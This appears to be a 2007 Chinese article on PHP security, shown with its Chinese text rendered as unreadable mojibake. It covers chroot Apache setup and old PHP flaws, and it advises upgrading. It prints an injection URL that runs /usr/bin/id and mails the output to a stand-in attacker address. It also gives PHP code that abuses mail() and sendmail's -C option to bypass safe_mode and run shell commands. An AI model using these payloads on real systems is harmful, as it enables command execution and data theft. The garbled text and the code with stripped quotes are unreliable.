PHP°²È«ÅäÖÃ֮ʵÏÖ°²È«µÄÁ½¸öÖØµã
À´Ô´:www.phpres.com ×÷ÕߣºAngelover ³ö´¦£ºwww.phpres.com 2007-8-2 19:27:27 ½øÈëÌÖÂÛ×鹨 ¼ü ´Ê£º
°²È« ÖØµã Á½¸ö ÅäÖà ʵÏÖ PHP fd °æ±¾ mail ´æÔÚ ·þÎñÆ÷
¡¡¡¡PHPÆäʵ²»¹ýÊÇWeb·þÎñÆ÷µÄÒ»¸öÄ£¿é¹¦ÄÜ£¬ËùÒÔÊ×ÏÈÒª±£Ö¤Web·þÎñÆ÷µÄ°²È«¡£µ±È»Web·þÎñÆ÷Òª°²È«ÓÖ±ØÐëÊÇÏȱ£Ö¤ÏµÍ³°²È«£¬ÕâÑù¾Í³¶Ô¶ÁË£¬ÎÞÇîÎÞ¾¡¡£PHP¿ÉÒԺ͸÷ÖÖWeb·þÎñÆ÷½áºÏ£¬ÕâÀïÒ²Ö»ÌÖÂÛApache¡£·Ç³£½¨ÒéÒÔchroot·½Ê½°²×°Æô¶¯Apache£¬ÕâÑù¼´Ê¹ApacheºÍPHP¼°Æä½Å±¾³öÏÖ©¶´£¬ÊÜÓ°ÏìµÄÒ²Ö»ÓÐÕâ¸ö½ûïÀµÄϵͳ£¬²»»áΣº¦Êµ¼Êϵͳ¡£µ«ÊÇʹÓÃchrootµÄApacheºó£¬¸øÓ¦ÓÃÒ²»á´øÀ´Ò»¶¨µÄÂé·³£¬±ÈÈçÁ¬½Ómysqlʱ±ØÐëÓÃ127.0.0.1µØÖ·Ê¹ÓÃtcpÁ¬½Ó¶ø²»ÄÜÓÃlocalhostʵÏÖsocketÁ¬½Ó£¬ÕâÔÚЧÂÊÉÏ»áÉÔ΢²îÒ»µã¡£»¹ÓÐmailº¯Êý·¢ËÍÓʼþÒ²ÊǸöÎÊÌ⣬ÒòΪphp.iniÀïµÄ£º
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
¡¡¡¡¶¼ÊÇÕë¶ÔWin32ƽ̨£¬ËùÒÔÐèÒªÔÚchroot»·¾³Ïµ÷ÕûºÃsendmail¡£
¡¡¡¡¶þ¡¢PHP±¾ÉíÎÊÌâ
¡¡¡¡1¡¢Ô¶³ÌÒç³ö
¡¡¡¡PHP-4.1.2ÒÔϵÄËùÓа汾¶¼´æÔÚÎļþÉÏ´«Ô¶³Ì»º³åÇøÒç³ö©¶´£¬¶øÇÒ¹¥»÷³ÌÐòÒѾ¹ã·ºÁ÷´«£¬³É¹¦Âʷdz£¸ß.
¡¡¡¡2¡¢Ô¶³Ì¾Ü¾ø·þÎñ
¡¡¡¡PHP-4.2.0ºÍPHP-4.2.1´æÔÚPHP multipart/form-data POSTÇëÇó´¦ÀíÔ¶³Ì©¶´£¬ËäÈ»²»ÄÜ»ñµÃ±¾µØÓû§È¨ÏÞ£¬µ«ÊÇÒ²ÄÜÔì³É¾Ü¾ø·þÎñ¡£
¡¡¡¡3¡¢safe_modeÈÆ¹ý©¶´
¡¡¡¡»¹ÓÐPHP-4.2.2ÒÔϵ½PHP-4.0.5°æ±¾¶¼´æÔÚPHP mailº¯ÊýÈÆ¹ýsafe_modeÏÞÖÆÖ´ÐÐÃüÁî©¶´£¬4.0.5°æ±¾¿ªÊ¼mailº¯ÊýÔö¼ÓÁ˵ÚÎå¸ö²ÎÊý£¬ÓÉÓÚÉè¼ÆÕß¿¼ÂDz»ÖÜ¿ÉÒÔÍ»ÆÆsafe_modeµÄÏÞÖÆÖ´ÐÐÃüÁî¡£ÆäÖÐ4.0.5°æ±¾Í»ÆÆ·Ç³£¼òµ¥£¬Ö»ÐèÓ÷ֺŸô¿ªºóÃæ¼ÓshellÃüÁî¾Í¿ÉÒÔÁË£¬±ÈÈç´æÔÚPHP½Å±¾evil.php£º
¡¡¡¡Ö´ÐÐÈçϵÄURL£º
http://foo.com/evil.php?bar=;/usr/bin/id¡¡mail evil@domain.com
¡¡¡¡Õ⽫idÖ´ÐеĽá¹û·¢Ë͸øevil@domain.com¡£
¡¡¡¡¶ÔÓÚ4.0.6ÖÁ4.2.2µÄPHPÍ»ÆÆsafe_modeÏÞÖÆÆäʵÊÇÀûÓÃÁËsendmailµÄ-C²ÎÊý£¬ËùÒÔϵͳ±ØÐëÊÇʹÓÃsendmail¡£ÈçϵĴúÂëÄܹ»Í»ÆÆsafe_modeÏÞÖÆÖ´ÐÐÃüÁ
¡¡¡¡#×¢Ò⣬ÏÂÃæÕâÁ½¸ö±ØÐëÊDz»´æÔڵ쬻òÕßËüÃǵÄÊôÖ÷ºÍ±¾½Å±¾µÄÊôÖ÷ÊÇÒ»Ñù£º
$script=/tmp/script123;
$cf=/tmp/cf123;
$fd = fopen($cf, w);
fwrite($fd, OQ/tmp
Sparse=0
R$* . chr(9) . $#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script);
fclose($fd);
$fd = fopen($script, w);
fwrite($fd, rm -f $script $cf; );
fwrite($fd, $cmd);
fclose($fd);
mail(nobody, , , , -C$cf);
?£¾
¡¡¡¡»¹ÊÇʹÓÃÒÔÉÏÓÐÎÊÌâ°æ±¾PHPµÄÓû§Ò»¶¨Òª¼°Ê±Éý¼¶µ½×îа汾£¬ÕâÑù²ÅÄÜÏû³ý»ù±¾µÄ°²È«ÎÊÌâ¡£»¶Ó½øÈëPHP¿ª·¢×ÊÔ´ÂÛ̳ÌÖÂÛ¡£
Ïà¹ØÎÄÕÂ
ͼÎÄÍÆ¼ö
ÂÛ Ì³ ×Ê Ô´
¡¤ÓÃPHPÏÔʾͼƬµÄEXIFÐÅÏ¢
¡¤ÏÔʾÊýÂëͼƬµÄEXIFÐÅÏ¢ Discuz²å¼þForDisc
¡¤ÔÚPHPÖÐcookieºÍsessionµÄʹÓÃ×ܽá
¡¤ÄĸöCMS±È½ÏºÃÓÃ-Mambo³öÇÊ£¬ËÓëÕù·æ£¿
¡¤ÔÚPHPÖÐʹÓÃHeader()º¯Êý½éÉÜ
¡¤ÓÃPHPʵÏÖJSµÄescapeºÍunescapeº¯Êý¹¦ÄÜ
¡¤Cute Editor for PHP 6.0©¤ Ò»‚€ËùÒŠ¼´ËùµÃ
¡¤Ã¿Ò»‚€ PHP é_°lÕß¶¼‘ªÔ“ÕJ×RµÄÊ®‚€é_°lí—
¡¤ÕûÀíµÄDiscuz³ÌÐòÎļþĿ¼º¬Òå±í
¡¤Ê¹ÓÃPHPαÔìsessionid×ö·Àˢй¦ÄÜ
¡¤ÏÔʾÊýÂëͼƬµÄEXIFÐÅÏ¢ Discuz²å¼þForDisc
¡¤ÔÚPHPÖÐcookieºÍsessionµÄʹÓÃ×ܽá
¡¤ÄĸöCMS±È½ÏºÃÓÃ-Mambo³öÇÊ£¬ËÓëÕù·æ£¿
¡¤ÔÚPHPÖÐʹÓÃHeader()º¯Êý½éÉÜ
¡¤ÓÃPHPʵÏÖJSµÄescapeºÍunescapeº¯Êý¹¦ÄÜ
¡¤Cute Editor for PHP 6.0©¤ Ò»‚€ËùÒŠ¼´ËùµÃ
¡¤Ã¿Ò»‚€ PHP é_°lÕß¶¼‘ªÔ“ÕJ×RµÄÊ®‚€é_°lí—
¡¤ÕûÀíµÄDiscuz³ÌÐòÎļþĿ¼º¬Òå±í
¡¤Ê¹ÓÃPHPαÔìsessionid×ö·Àˢй¦ÄÜ
ÈÈÃż¼ÊõÎĵµ
¡¤¹úÍâÖ÷Á÷PHP¿ò¼ÜÆÀ²â
¡¤ÓÃPHPÏÔʾͼƬµÄEXIFÐÅÏ¢
¡¤ÏÔʾÊýÂëͼƬµÄEXIFÐÅÏ¢ Discuz²å¼þForDisc
¡¤ÔÚPHPÖÐcookieºÍsessionµÄʹÓÃ×ܽá
¡¤ÄĸöCMS±È½ÏºÃÓÃ-Mambo³öÇÊ£¬ËÓëÕù·æ£¿
¡¤ÔÚPHPÖÐʹÓÃHeader()º¯Êý½éÉÜ
¡¤ÓÃPHPʵÏÖJSµÄescapeºÍunescapeº¯Êý¹¦ÄÜ
¡¤Cute Editor for PHP 6.0©¤ Ò»‚€ËùÒŠ¼´ËùµÃ
¡¤Ã¿Ò»‚€ PHP é_°lÕß¶¼‘ªÔ“ÕJ×RµÄÊ®‚€é_°lí—
¡¤ÕûÀíµÄDiscuz³ÌÐòÎļþĿ¼º¬Òå±í
¡¤ÓÃPHPÏÔʾͼƬµÄEXIFÐÅÏ¢
¡¤ÏÔʾÊýÂëͼƬµÄEXIFÐÅÏ¢ Discuz²å¼þForDisc
¡¤ÔÚPHPÖÐcookieºÍsessionµÄʹÓÃ×ܽá
¡¤ÄĸöCMS±È½ÏºÃÓÃ-Mambo³öÇÊ£¬ËÓëÕù·æ£¿
¡¤ÔÚPHPÖÐʹÓÃHeader()º¯Êý½éÉÜ
¡¤ÓÃPHPʵÏÖJSµÄescapeºÍunescapeº¯Êý¹¦ÄÜ
¡¤Cute Editor for PHP 6.0©¤ Ò»‚€ËùÒŠ¼´ËùµÃ
¡¤Ã¿Ò»‚€ PHP é_°lÕß¶¼‘ªÔ“ÕJ×RµÄÊ®‚€é_°lí—
¡¤ÕûÀíµÄDiscuz³ÌÐòÎļþĿ¼º¬Òå±í
×îÐÂͼÎĵµ
±¾Õ¾±à¼ÍƼö:(±¾Õ¾¿ªÍ¨Delphi4PHP×¨Çø£¬»¶Ó½øÈëÂÛ̳½»Á÷£¡)
- ¡¤ 3·ÖÖÓ¿ìËÙÁ˽â Delphi for PHP ÌØÉ« (ÖÐÎÄ), PDFµµ
- ¡¤ ¹ºÂòDelphi for PHPµÄÎå´óÀíÓÉ, PDFµµ
- ¡¤ Delphi for PHP ʹÓùæ¸ñ½éÉÜ, PDFµµ
- ¡¤ Delphi for PHP †–´ð¼¯ (From CodeGear)
- ¡¤ Delphi for PHP ²úÆ·¼Û¸ñ±í
±à¼©×î½ü¸üÐÂÎÄÕÂ
ÍøÕ¾ÔÞÖúÉÌ
ËÑË÷Äú¸ÐÐËȤµÄÄÚÈÝ




